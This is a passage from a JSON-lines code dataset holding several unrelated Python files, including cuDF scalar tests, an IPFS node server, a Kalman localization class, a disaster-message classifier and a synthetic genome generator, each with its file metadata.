Arbitrary value that selects the fuselage points that are new the\n # wing.\n distanceMax = 0.1\n \n # Wing point indexes selected with this criteras\n indexesWingTF = np.where(np.logical_and(distanceFusePTWing>=0, distanceFusePTWingij', (1 - coef).T, self.displacements[indexesTF]) ))\n # # # logger.debug(np.einsum('i,ij->ij', coef.T, self.displacements[relatedFWingPointsIndex]))\n # fuselage = np.einsum('i,ij->ij', coef.T, self.displacements[indexesFuselageTF])\n # logger.debug('fuselage \\n'+str(fuselage))\n \n # wing = np.einsum('i,ij->ij', (1 - coef).T, temp)\n # logger.debug('wing \\n'+str(wing))\n # self.displacements[indexesFuselageTF] = np.zeros((N,3)) # fuselage + wing \n # logger.debug(self.displacements[indexesFuselageTF])\n # # # logger.debug(self.displacements[indexesTF])\n # # # logger.debug(relatedFWingPointsIndex)\n # # sys.exit()\n","sub_path":"src/lib/aeroframe_2/informationTransfer/mappingSU2.py","file_name":"mappingSU2.py","file_ext":"py","file_size_in_byte":34079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"256406853","text":"f = open(\"palin.txt\")\r\ncontent = f.read();\r\nf.close()\r\nwords = content.split()\r\nfor word in words:\r\n rev = \"\".join(reversed(word))\r\n if word == rev:\r\n print ('Pallindrome')\r\n else:\r\n print ('Not a Pallindrome')\r\n\r\n","sub_path":"Python/Contributions/Excercise 2.py","file_name":"Excercise 2.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"164540311","text":"import datetime\nimport datetime as dt\n\nimport numpy as np\nimport pandas as pd\nimport pytest\n\nfrom cudf._lib.scalar import Scalar\nfrom cudf.tests.utils import DATETIME_TYPES, NUMERIC_TYPES, TIMEDELTA_TYPES\n\n\n@pytest.mark.parametrize(\n \"value\",\n [\n 0,\n -1,\n 42,\n 0.0,\n 1.0,\n np.int8(0),\n np.int8(1),\n np.int8(-1),\n np.iinfo(np.int8).min,\n np.iinfo(np.int8).max,\n np.int16(1),\n np.iinfo(np.int16).min,\n np.iinfo(np.int16).max,\n np.int32(42),\n np.int32(-42),\n np.iinfo(np.int32).min,\n np.iinfo(np.int32).max,\n np.int64(42),\n np.iinfo(np.int64).min,\n np.iinfo(np.int64).max,\n np.uint8(0),\n np.uint8(1),\n np.uint8(255),\n np.iinfo(np.uint8).min,\n np.iinfo(np.uint8).max,\n np.uint16(1),\n np.iinfo(np.uint16).min,\n np.iinfo(np.uint16).max,\n np.uint32(42),\n np.uint32(4294967254),\n np.iinfo(np.uint32).min,\n np.iinfo(np.uint32).max,\n np.uint64(42),\n np.iinfo(np.uint64).min,\n np.uint64(np.iinfo(np.uint64).max),\n np.float32(1),\n np.float32(-1),\n np.finfo(np.float32).min,\n np.finfo(np.float32).max,\n np.float64(1),\n np.float64(-1),\n np.finfo(np.float64).min,\n np.finfo(np.float64).max,\n np.float32(\"NaN\"),\n np.float64(\"NaN\"),\n np.datetime64(0, \"s\"),\n np.datetime64(1, \"s\"),\n np.datetime64(-1, \"s\"),\n np.datetime64(42, \"s\"),\n np.datetime64(np.iinfo(np.int64).max, \"s\"),\n np.datetime64(np.iinfo(np.int64).min + 1, \"s\"),\n np.datetime64(42, \"ms\"),\n np.datetime64(np.iinfo(np.int64).max, \"ms\"),\n np.datetime64(np.iinfo(np.int64).min + 1, \"ms\"),\n np.datetime64(42, \"us\"),\n np.datetime64(np.iinfo(np.int64).max, \"us\"),\n np.datetime64(np.iinfo(np.int64).min + 1, \"us\"),\n np.datetime64(42, \"ns\"),\n np.datetime64(np.iinfo(np.int64).max, \"ns\"),\n np.datetime64(np.iinfo(np.int64).min + 1, \"ns\"),\n np.datetime64(\"NaT\", \"s\"),\n np.datetime64(\"NaT\", \"ms\"),\n np.datetime64(\"NaT\", \"us\"),\n np.datetime64(\"NaT\", \"ns\"),\n \"\",\n \"one\",\n \"1\",\n True,\n False,\n np.bool_(True),\n np.bool_(False),\n np.str_(\"asdf\"),\n np.object_(\"asdf\"),\n ],\n)\ndef test_round_trip_scalar(value):\n s = Scalar(value)\n\n np.testing.assert_equal(s.value, value)\n assert s.is_valid() is True\n\n\n@pytest.mark.parametrize(\n \"dtype\", NUMERIC_TYPES + DATETIME_TYPES + TIMEDELTA_TYPES + [\"object\"]\n)\ndef test_null_scalar(dtype):\n s = Scalar(None, dtype=dtype)\n assert s.value is None\n assert s.dtype == np.dtype(dtype)\n assert s.is_valid() is False\n\n\n@pytest.mark.parametrize(\n \"dtype\", NUMERIC_TYPES + DATETIME_TYPES + TIMEDELTA_TYPES + [\"object\"]\n)\ndef test_valid_scalar(dtype):\n s = Scalar(1, dtype=dtype)\n\n assert s.dtype == np.dtype(dtype)\n assert s.is_valid() is True\n\n\n@pytest.mark.parametrize(\n \"value\",\n [\n datetime.timedelta(seconds=76),\n datetime.timedelta(microseconds=7),\n datetime.timedelta(minutes=47),\n datetime.timedelta(hours=4427),\n datetime.timedelta(weeks=7134),\n pd.Timestamp(15133.5, unit=\"s\"),\n pd.Timestamp(15133.5, unit=\"D\"),\n pd.Timedelta(1513393355.5, unit=\"s\"),\n pd.Timedelta(34765, unit=\"D\"),\n ],\n)\ndef test_date_duration_scalars(value):\n s = Scalar(value)\n\n actual = s.value\n\n if isinstance(value, dt.datetime):\n expected = np.datetime64(value)\n elif isinstance(value, dt.timedelta):\n expected = np.timedelta64(value)\n elif isinstance(value, pd.Timestamp):\n expected = value.to_datetime64()\n elif isinstance(value, pd.Timedelta):\n expected = value.to_timedelta64()\n\n np.testing.assert_equal(actual, expected)\n assert s.is_valid() is True\n","sub_path":"python/cudf/cudf/tests/test_scalar.py","file_name":"test_scalar.py","file_ext":"py","file_size_in_byte":3979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"229665507","text":"# NODE $ERVER$Y$TEM ## NODE #\n# -------- IMPORTS --------- # \n# Local imports\nfrom library import tpls_server\nfrom library import ipfs\n\n# python builtin imports\nimport os\nimport time\n\n# third party package imports\n#import ipfsapi\n# -------------------------- # \n\n\n_node_help = \"\"\"\n The node server adopts from multiple different classes.\n Gate keeper for private networks. Facilitates custom user functions. \n\n IPFS Daemon must be running \n IPFSAPI_IP: 127.0.0.1:5001/5002\n\n > Node\n > client interface\n - user input\n > httpserver\n - filehosting\n - filestorage\n > ipfs node(daemon)\n - read\n - write\n > tpls_server\n - network communications\n \n > Post config file creation \n > network config\n > ipfs id\n > node wallet\n > trusted peers\n > data store hashes\n\n \"\"\"\n\ndef nodehelp():\n print(_node_help)\n\nclass NodeServer:\n '''\n NodeServer\n '''\n def __init__(self):\n self._http_server = self.__http_server\n self.__ipfs_node()\n self._ipfs_client_interface = self.__client_interface\n self._tpls_server = self.__tpls_server\n self._cli_dir = self.__client_interface_dir\n # TODO: get rid of these or figure out a better use\n # local bool variable to control what the node server launches on start up\n #_b_http = True\n #_b_ipfs = True\n #_b_cli = True\n #_b_tpls = True\n\n # TODO: generate these variables from the config file\n # node networking variables\n self._0_node_ip = \"192.168.1.x\"\n self._0_node_port = 11111\n\n \n\n # Launch HTTP server\n def __http_server(self):\n # TODO: add multiplatform support, aswell as security options\n os.system(\"start py -m http.server --bind 127.0.0.1\")\n \n # Launch IPFS Daemon\n def __ipfs_node(self):\n # Determines whether or not debug shell is displayed on launch of ipfs daemon instance\n __debug = False \n # TODO: add multiplatform functionalality to this asap\n if __debug:\n os.system(\"start ipfs daemon --debug\")\n else:\n os.system(\"start ipfs daemon\")\n # 3 second delay to allow the daemon to start up\n time.sleep(3)\n # test ipfs api connection; displays some debug info\n #self.__ipfsnode = ipfs.IPFS_API()\n\n # Instantiates an PY-IPFS-API client object\n def __client_interface(self):\n # elevates ipfsapi.client.Client() namespace for use locally within this module\n self.__ipfs_client = ipfs.IPFS_API()._ipfs_client() \n return self.__ipfs_client\n \n # Create different types of TPLS Server instances\n def __tpls_server(self, _type):\n # functional transport layer security server\n # begin one time functional tpls instance\n if _type == 0:\n return tpls_server.start_handshake()\n # begin an infinite loop of functional tpls instances\n elif _type == 1:\n while True:\n tpls_server.start_handshake() \n # tpls class instance; not as developed as the functional \n elif _type == 2:\n # OOP implementation of the TPLS Server\n tpls_server.TPLS_Server(self._0_node_ip, self._0_node_port)\n # end all catch all; reduces errors\n else:\n # TODO: add further error handling, and tplss options\n return 0\n \n\n def __client_interface_dir(self):\n # returns list of all the IPFSAPI class methods\n return dir(self.__client_interface())\n","sub_path":"node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"308480908","text":"import numpy as np\nimport math\n\n\nclass Localization:\n def __init__(self, min_timediff_sec, model_var=(0.05, 0.05, 0.05), sensor_var=(0.05 , 0.05, 0.05)):\n self.min_timediff_sec = min_timediff_sec\n self.model_var = model_var\n self.R = np.array([[model_var[0], 0, 0],\n [0, model_var[1], 0],\n [0, 0, model_var[2]]], dtype=np.float)\n self.sensor_var = sensor_var\n self.Q = np.array([[sensor_var[0], 0, 0],\n [0, sensor_var[1], 0],\n [0, 0, sensor_var[2]]], dtype=np.float)\n\n def predict(self, prev_pos, prev_pos_cov, u, sensor_values, features):\n delta_t = self.min_timediff_sec\n heading = prev_pos[2]\n predicted_heading = 0\n A = np.eye(3, dtype=np.float)\n B = np.array([[delta_t * math.cos(heading), 0],\n [-delta_t * math.sin(heading), 0],\n [0, delta_t]], dtype=np.float)\n C = np.eye(3, dtype=np.float)\n #comptations could be simplified but if we want to change the matrices A, B, C the general\n #method is always working\n #prediction\n pos_pred = np.dot(A, prev_pos) + np.dot(B, u)\n if pos_pred[2] > math.pi * 2:\n pos_pred[2] -= math.pi * 2\n elif pos_pred[2] < -math.pi * 2:\n pos_pred[2] += math.pi * 2\n predicted_heading = pos_pred[2] * 180/math.pi\n pos_cov_pred = np.dot(np.dot(A, prev_pos_cov), np.transpose(A)) + self.R\n if sensor_values.__len__() == 0:\n return (pos_pred, pos_cov_pred, predicted_heading) # If we have no measurements we only use the prediction from the model\n else:\n #converting sensor values to x,y,heading\n z = np.zeros(shape=(3, 1), dtype=np.float)\n for value in sensor_values:\n #get feature position through signature\n x_feature = features[int(round(value[2]))][0]\n y_feature = features[int(round(value[2]))][1]\n # get feature angle in the global frame\n y = y_feature + value[0] * math.sin(value[1] + pos_pred[2])\n x = x_feature - value[0] * math.cos(value[1] + pos_pred[2])\n #print('pred', math.degrees(value[1] + pos_pred[2]), value[0] * math.sin(value[1] + pos_pred[2]), -value[0] * math.cos(value[1] + pos_pred[2]))\n z[0] += x\n z[1] += y\n predicted_heading += value[0] * 180/math.pi\n\n z /= float(sensor_values.__len__())\n predicted_heading /= sensor_values.__len__() # average predicted heading of all sensor values\n # Just from the bearing and distance we have no information of the heading (more heading value can cause the\n # same measurements, thus we are going to use the value predicted from the motion model)\n z[2] = pos_pred[2]\n #correction\n a = np.linalg.inv(np.dot(np.dot(C, pos_cov_pred), np.transpose(C)) + self.Q)\n K = np.dot(np.dot(pos_cov_pred, np.transpose(C)), a)\n\n pos_corr = pos_pred + np.dot(K, (z - np.dot(C, pos_pred)))\n pos_cov_corr = np.dot((np.eye(3, dtype=np.float) - np.dot(K, C)), pos_cov_pred)\n\n return (pos_corr, pos_cov_corr, predicted_heading)\n\n\n","sub_path":"localization.py","file_name":"localization.py","file_ext":"py","file_size_in_byte":3329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"378318099","text":"from datetime import date\n\nimport helpers\n\n\ndef look_and_say(txt: str, count: int):\n chars = txt\n for _ in range(count):\n next_chars = []\n count = 0\n prev = None\n for c in chars:\n if c != prev and count > 0:\n next_chars.append(str(count))\n next_chars.append(prev)\n count = 1\n else:\n count += 1\n prev = c\n next_chars.append(str(count))\n next_chars.append(prev)\n chars = next_chars\n return ''.join(chars)\n\n\ndef part1(txt: str):\n return len(look_and_say(txt, 40))\n\n\ndef part2(txt: str):\n return len(look_and_say(txt, 50))\n\n\ndef main():\n input_txt, _ = helpers.get_puzzle(date(2015, 12, 10), \"Elves Look, Elves Say\") # noqa\n\n print(f\"part1: {part1(input_txt)}\")\n print(f\"part2: {part2(input_txt)}\")\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"src/day10.py","file_name":"day10.py","file_ext":"py","file_size_in_byte":902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"560164511","text":"# author: Izumi Sakai\n# date:2018/7/29 0:16\n\n\nimport socketserver\n\nclass MyServer(socketserver.BaseRequestHandler):\n def handle(self):\n conn = self.request\n print(self.client_address)\n while True:\n data = conn.recv(1024)\n print(str(data,'utf8'))\n inp = input('>>>')\n conn.sendall(bytes(inp,'utf8'))\n\nif __name__ == '__main__':\n server = socketserver.ThreadingTCPServer(('127.0.0.1',8080),MyServer)\n server.serve_forever()\n\n","sub_path":"网络编程/server并发聊天.py","file_name":"server并发聊天.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"436947505","text":"__author__ = 'hazem'\nimport scipy\nimport numpy\nfrom scipy.io.wavfile import read,write\nfrom numpy.fft import fft , ifft\nimport os , wave\nfrom operator import itemgetter\ntest_set=[]\nnumb=[]\npath = []\nfor i in range (0,10):\n path.append(\"D:\\\\ELC4a\\\\DSP project\\\\speech_data\\\\\"+str(i))\nfor k in range(0,10):\n dirs = os.listdir( path[k] )\n for i in range(20,30):\n rate,data=read(path[k]+\"/\"+dirs[i])\n numb.append(data)\n test_set.append(numb)\n numb=[]\nknowledge=scipy.io.loadmat('knowledge.mat')\n\ndef feature(wave):\n l=len(wave)\n Fwave= fft(wave)/l\n Fwave=Fwave[range(l/2)]\n l1= [300 ,500]\n l2 = [500 ,800]\n l3=[800 ,1200]\n l4=[1200 ,1800]\n l5=[1800,3000]\n l6=[3000,4500]\n l7=[4500,7000]\n f1 = numpy.zeros(len(Fwave))\n f2 = numpy.zeros(len(Fwave))\n f3 = numpy.zeros(len(Fwave))\n f4 = numpy.zeros(len(Fwave))\n f5 = numpy.zeros(len(Fwave))\n f6 = numpy.zeros(len(Fwave))\n f7 = numpy.zeros(len(Fwave))\n f1[l1[0]:l1[1]] = 1\n f2[l2[0]:l2[1]] = 1\n f3[l3[0]:l3[1]] = 1\n f4[l4[0]:l4[1]] = 1\n f5[l5[0]:l5[1]] = 1\n f6[l6[0]:l6[1]] = 1\n f7[l7[0]:l7[1]] = 1\n n=[]\n n.append(abs(ifft(f1*Fwave)))\n n.append(abs(ifft(f2*Fwave)))\n n.append(abs(ifft(f3*Fwave)))\n n.append(abs(ifft(f4*Fwave)))\n n.append(abs(ifft(f5*Fwave)))\n n.append(abs(ifft(f6*Fwave)))\n n.append(abs(ifft(f7*Fwave)))\n feature_list=[]\n for i in n:\n feature_list.append(numpy.log(numpy.sum(numpy.power(i,2))))\n return feature_list\ndef classifier(F,K):\n s = []\n for i in range(0,10):\n s.append(numpy.sum(abs((F - K[i]))))\n index = min(enumerate(s), key=itemgetter(1))\n return index[0]\ncounter = 0\nf_test=[]\nc_f=numpy.zeros([10,10])\nfor i in range(0,10):\n for n in range(0,10):\n f = feature(test_set[i][n])\n c= classifier(f,knowledge[\"knowledge\"])\n c_f[i][c]=c_f[i][c]+1\n if i == c :\n counter=counter+1\nprint(counter)\nprint(c_f)\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1973,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"310246495","text":"from unittest import TestCase\nfrom mock import patch, Mock, MagicMock\nfrom mockredis import mock_strict_redis_client\nfrom models.caching_steps import StepsCache\nfrom flask import json\n\ndef encode_mock(encode_values):\n def side_effect(args):\n return encode_values[args]\n mock = MagicMock(side_effect=side_effect)\n return mock\n\n\nclass TestStepsCache(TestCase):\n\n @patch('logging.Logger')\n def setUp(self, mock_logger):\n self.client = mock_strict_redis_client()\n self.cache = StepsCache(self.client, mock_logger, \"username\", \"password\", \"http://random/url\", \"ureport-registration-steps\")\n\n @patch('redis.StrictRedis', mock_strict_redis_client)\n def test_that_data_from_api_is_stored(self):\n key_name = \"my script\"\n first_value = \"step 1 1\"\n second_value = \"step 1 2\"\n data = [first_value, second_value]\n encoded_data = {first_value: \"encrypted_first_value\", second_value: \"encrypted_second_value\"}\n self.cache.get_key_name = Mock(return_value=key_name)\n self.cache.get_steps_information = Mock(return_value=data)\n self.cache.encoder.encode = encode_mock(encoded_data)\n\n self.cache.add_script_steps_data()\n\n self.assertTrue(self.client.sismember(key_name, \"encrypted_first_value\"))\n self.assertTrue(self.client.sismember(key_name, \"encrypted_second_value\"))\n\n def test_that_script_step_data_gets_deleted(self):\n script_name = 'my_script'\n first_step = 'step 1 1'\n self.client.sadd(script_name, first_step)\n self.cache.get_key_name = Mock(return_value=script_name)\n self.cache.delete_script_steps_data()\n\n self.assertFalse(self.client.exists(script_name))\n\n def test_that_method_checks_for_existance_of_text_in_cache_set(self):\n self.cache.get_steps_information = Mock(return_value=[\"expected message 1\", \"expected message 2\"])\n self.cache.add_script_steps_data()\n\n in_cache = self.cache.has_text(\"expected message 1\")\n\n self.assertTrue(in_cache)\n\n def test_that_invalid_text_is_not_in_cache(self):\n self.cache.get_steps_information = Mock(return_value=[\"expected message 1\", \"expected message 2\"])\n self.cache.add_script_steps_data()\n\n in_cache = self.cache.has_text(\"none expected message\")\n\n self.assertFalse(in_cache)\n\n def test_that_key_name_is_ureport(self):\n self.assertEquals(self.cache.get_key_name(), \"ureport-registration-steps\")\n\n @patch('base64.encodestring')\n @patch('urllib2.Request')\n @patch('urllib2.urlopen')\n def test_authorized_response(self, urlopen_mock, request_class_mock, encoded_str_mock):\n request_mock = Mock()\n add_header = Mock()\n request_mock.add_header = add_header\n request_class_mock.return_value = request_mock\n fake_response = \"response\"\n urlopen_mock.return_value = fake_response\n auth_data = \"user:passwd\"\n encoded_str_mock.return_value = auth_data\n\n self.assertEquals(self.cache.get_authorized_response(\"my_http_address\"), fake_response)\n urlopen_mock.assert_called_once_with(request_mock)\n request_mock.add_header.assert_called_once_with('Authorization', 'Basic %s' % auth_data)\n\n def test_retrieve_of_json_data_from_api(self):\n json_response = json.dumps({\"steps\": [\"step 1\", \"step 2\"]})\n response_mock = Mock()\n response_mock.read = Mock(return_value=json_response)\n self.cache.get_authorized_response = Mock(return_value=response_mock)\n\n self.assertListEqual(self.cache.get_steps_information(), [\"step 1\", \"step 2\"])\n\n def test_fails_when_no_step_key_found_from_api_data(self):\n json_response = json.dumps({\"different_key\": [\"step 1\", \"step 2\"]})\n response_mock = Mock()\n response_mock.read = Mock(return_value=json_response)\n self.cache.get_authorized_response = Mock(return_value=response_mock)\n self.assertRaises(Exception, self.cache.get_steps_information())","sub_path":"tests/unit/test_steps_cache.py","file_name":"test_steps_cache.py","file_ext":"py","file_size_in_byte":4001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"652671095","text":"import sys\nimport pandas as pd\nfrom sqlalchemy import create_engine\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfTransformer\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.multioutput import MultiOutputClassifier\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.metrics import classification_report\nfrom sklearn.externals import joblib\n\nimport nltk\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.stem.wordnet import WordNetLemmatizer\nnltk.download(['words','punkt','stopwords','wordnet'])\n\ndef load_data(database_filepath):\n \"\"\"\n Load data from database\n \n Parameters:\n -----------\n database_filepath: str. Filepath of the database.\n \n Returns:\n --------\n X: DataFrame. Input variables\n y: DataFrame. Output variables.\n \"\"\"\n # Create engine\n engine = create_engine('sqlite:///' + database_filepath)\n df = pd.read_sql_table('disaster', engine)\n\n # Select input and output data\n X = df['message']\n y = df.drop(['message', 'id', 'original', 'genre'], axis=1)\n categories = y.columns\n return X, y, categories\n\ndef tokenize(text):\n \"\"\"\n Process text data\n \n Parameters:\n -----------\n text: str. Messages\n \n Returns:\n --------\n clean_tokens: list. List of words\n \"\"\"\n # Split text into words.\n tokens = word_tokenize(text)\n\n # Lemmatize words and convert all uppercase caracters into\n # lowercase caracters.\n lemmatizer = WordNetLemmatizer()\n\n clean_tokens = []\n for tok in tokens:\n clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n clean_tokens.append(clean_tok)\n\n return clean_tokens\n\n\ndef build_model():\n \"\"\"\n Build model.\n\n Parameters:\n -----------\n None\n\n Returns:\n --------\n grid. Optimal model\n \"\"\"\n \n pipeline = Pipeline([\n ('vect', CountVectorizer(tokenizer=tokenize)),\n ('tfidf', TfidfTransformer()),\n ('clf', MultiOutputClassifier(RandomForestClassifier()))\n ])\n\n ## Find the optimal model\n parameters = { \n 'clf__estimator__n_estimators': [20, 50],\n 'clf__estimator__max_features': ['auto', 'sqrt']}\n\n grid = GridSearchCV(pipeline, param_grid=parameters,\n n_jobs=-1)\n\n return grid\n\n\ndef evaluate_model(model, X_test, Y_test, category_names):\n \"\"\"\n Evaluate performances : print classification report\n \n Parameters:\n -----------\n model. Model to evaluate\n X_test: DataFrame. Dataset used to evaluate our model.\n y_test: DataFrame. Dataset used to evaluate our model.\n category_names: list. List of categories.\n \n Returns:\n -------\n None \n \"\"\"\n y_pred = model.predict(X_test)\n print(classification_report(Y_test,y_pred,target_names=category_names))\n\n\ndef save_model(model, model_filepath):\n \"\"\"\n Save model\n \n Parameters:\n -----------\n model. Model to save. \n model_filepath : str. Filepath of the model.\n \n Returns:\n --------\n None\n \"\"\"\n joblib.dump(model, open(model_filepath, 'wb'))\n\n\ndef main():\n if len(sys.argv) == 3:\n database_filepath, model_filepath = sys.argv[1:]\n print('Loading data...\\n DATABASE: {}'.format(database_filepath))\n X, Y, category_names = load_data(database_filepath)\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=0.2)\n \n print('Building model...')\n model = build_model()\n \n print('Training model...')\n model.fit(X_train, Y_train)\n \n print('Evaluating model...')\n evaluate_model(model, X_test, Y_test, category_names)\n\n print('Saving model...\\n MODEL: {}'.format(model_filepath))\n save_model(model, model_filepath)\n\n print('Trained model saved!')\n\n else:\n print('Please provide the filepath of the disaster messages database '\\\n 'as the first argument and the filepath of the pickle file to '\\\n 'save the model to as the second argument. \\n\\nExample: python '\\\n 'train_classifier.py ../data/DisasterResponse.db classifier.pkl')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"models/train_classifier.py","file_name":"train_classifier.py","file_ext":"py","file_size_in_byte":4293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"614525448","text":"#!/usr/bin/env python\n\nfrom argparse import ArgumentParser\nimport errno\nimport os\nimport random\nimport subprocess\n\ndef run(outdir, numchr, chrlength, numreads, readlength, alphabet):\n\n reference_dir = os.path.join(outdir, 'reference')\n mapping_dir = os.path.join(outdir, 'mapping')\n\n reference_file = os.path.join(reference_dir, 'reference.fa')\n reads_file = os.path.join(outdir, 'reads.fa')\n sai_file = os.path.join(mapping_dir, 'reads.sai')\n sam_file = os.path.join(mapping_dir, 'reads.sam')\n bam_file = os.path.join(mapping_dir, 'reads.bam')\n\n mkdir_p(outdir)\n mkdir_p(reference_dir)\n mkdir_p(mapping_dir)\n\n chromosomes = make_reference(numchr, chrlength, alphabet, reference_file)\n index_reference(reference_file)\n \n make_reads(readlength, numreads, chrlength, numchr, chromosomes, reads_file)\n map_reads(sai_file, sam_file, reads_file, reference_file)\n make_bam(sam_file, bam_file)\n\ndef mkdir_p(outdir):\n try:\n os.makedirs(outdir)\n except OSError as exc:\n if exc.errno == errno.EEXIST and os.path.isdir(outdir):\n pass\n else: raise\n\ndef make_reference(numchr, chrlength, alphabet, reference_file):\n with open(reference_file, 'w') as f:\n chromosomes = {}\n for i in range(0,numchr):\n chromosomes[i] = random_sequence(chrlength, alphabet)\n f.write('>chr%s\\n' % (i+1))\n f.write(chromosomes[i]+'\\n')\n return chromosomes\n\ndef random_sequence(chrlength, alphabet):\n s = ''\n for i in range(0, chrlength):\n s += alphabet[random.randint(0, len(alphabet)-1)]\n return s\n\ndef index_reference(reference_file):\n cmd = 'bwa index %s' % reference_file\n with open('/dev/null', 'w') as devnull:\n subprocess.check_call(cmd, stdout=devnull, stderr=devnull, shell=True)\n\ndef make_reads(readlength, numreads, chrlength, numchr, chromosomes, reads_file):\n assert len(chromosomes) == numchr\n if not readlength < chrlength:\n raise Exception(\"Read length %s is greater than chromosome length %s\" % (readlength, chrlength))\n with open(reads_file, 'w') as f:\n for i in range(0, numreads):\n pick_chr = random.randint(0, numchr - 1)\n pick_readstart = random.randint(0, chrlength - readlength - 1)\n f.write('>%s\\n' % i)\n f.write('%s\\n' % chromosomes[pick_chr][pick_readstart:pick_readstart+readlength])\n\ndef map_reads(sai_file, sam_file, reads_file, reference_file):\n\n with open('/dev/null', 'w') as devnull:\n with open(sai_file, 'w') as sai:\n cmd = \"bwa aln %s %s\" % (reference_file, reads_file)\n subprocess.check_call(cmd, stdout=sai, stderr=devnull, shell=True)\n with open(sam_file, 'w') as sam:\n cmd = \"bwa samse %s %s %s\" % (reference_file, sai_file, reads_file)\n subprocess.check_call(cmd, stdout=sam, stderr=devnull, shell=True)\n\ndef make_bam(sam_file, bam_file):\n cmd = \"samtools view -bS %s > %s\" % (sam_file, bam_file)\n with open('/dev/null', 'w') as devnull:\n subprocess.check_call(cmd, stderr=devnull, stdout=devnull, shell=True)\n\ndef parse_commandline_args():\n args = get_default_args()\n new_args = initialize_parser().parse_args()\n overwrite_if_set(args, new_args)\n return args\n\ndef initialize_parser():\n parser=ArgumentParser('generate a very small synthetic genome for testing')\n parser.add_argument('--outdir')\n parser.add_argument('--numchr')\n parser.add_argument('--chrlength')\n parser.add_argument('--numreads')\n parser.add_argument('--readlength')\n parser.add_argument('--alphabet')\n return parser\n\ndef overwrite_if_set(args, new_args):\n if new_args.outdir:\n args['outdir'] = new_args.outdir\n if new_args.numchr:\n args['numchr'] = int(new_args.numchr)\n if new_args.chrlength:\n args['chrlength'] = int(new_args.chrlength)\n if new_args.numreads:\n args['numreads'] = int(new_args.numreads)\n if new_args.readlength:\n args['readlength'] = int(new_args.readlength)\n\n if new_args.alphabet:\n args['alphabet'] = new_args.alphabet\n return args\n\ndef get_default_args():\n return {\n 'outdir': 'output',\n 'numchr': 3,\n 'chrlength': 100,\n 'numreads': 10,\n 'readlength': 20,\n 'alphabet': 'acgt',\n }\n\nif __name__=='__main__':\n args = parse_commandline_args()\n run(\n outdir=args['outdir'],\n numchr=args['numchr'],\n chrlength=args['chrlength'],\n numreads=args['numreads'],\n readlength=args['readlength'],\n alphabet=args['alphabet'],\n )\n","sub_path":"mini_genome/make_genome.py","file_name":"make_genome.py","file_ext":"py","file_size_in_byte":4625,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"220774676","text":"\"\"\"empty message\n\nRevision ID: 385e28500631\nRevises: c3d19d49aa77\nCreate Date: 2018-07-10 11:02:38.853841\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '385e28500631'\ndown_revision = 'c3d19d49aa77'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user_model', sa.Column('permission', sa.Integer(), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('user_model', 'permission')\n # ### end Alembic commands ###\n","sub_path":"code/TPP/migrations/versions/385e28500631_.py","file_name":"385e28500631_.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"503523105","text":"# This is my first Python code, so go easy on me :D\n# Enter the amount of times you want to get the sentence right (its pure luck!)\n# @Jay 215/365\n\nimport random\n\ntries = input(\"Enter the amount of tries you would like to get the sentence: \");\nprint(\"\");\n\nwords = [\"This\",\"is\",\"my\",\"first\",\"Python\",\"code\"];\nresult = \"\";\n\ndef pickWord(num,counter):\n if compArr[num] == 0:\n compArr[num] = 1;\n resultArr[counter] += words[num];\n return words[num];\n else:\n pickWord(random.randint(0,5),counter);\n return;\nfor y in range(int(tries)):\n resultArr = [\"\",\"\",\"\",\"\",\"\",\"\"];\n compArr = [0,0,0,0,0,0];\n for x in range(6):\n rand = random.randint(0,5);\n pickWord(rand,x);\n print(\" \".join(resultArr));\n \nprint(\"(You may need to reload this several times to get the right combination hehe)\");\n","sub_path":"201x/Python/mezcla.py","file_name":"mezcla.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"328785119","text":"import numpy\nimport copy\nimport physical_object\nimport obstacle\ndef will_collide(state,robot, obstacle_list):\n robot_copy = copy.deepcopy(robot)\n #based on state, update copy of robot's position\n robot_copy.move_to_point(state)\n for obstacle in obstacle_list:\n for obstacle_polygon in obstacle.polygon_list:\n for robot_copy_polygon in robot_copy.polygon_list:\n if not polygons_separate(robot_copy_polygon, obstacle_polygon):\n return True #cannot go to that spot\n \n return False #All is fine\n\ndef polygons_separate(robot_polygon, obstacle_polygon):\n isSeparated = False\n robot_polygon_normals = get_normals(robot_polygon)\n 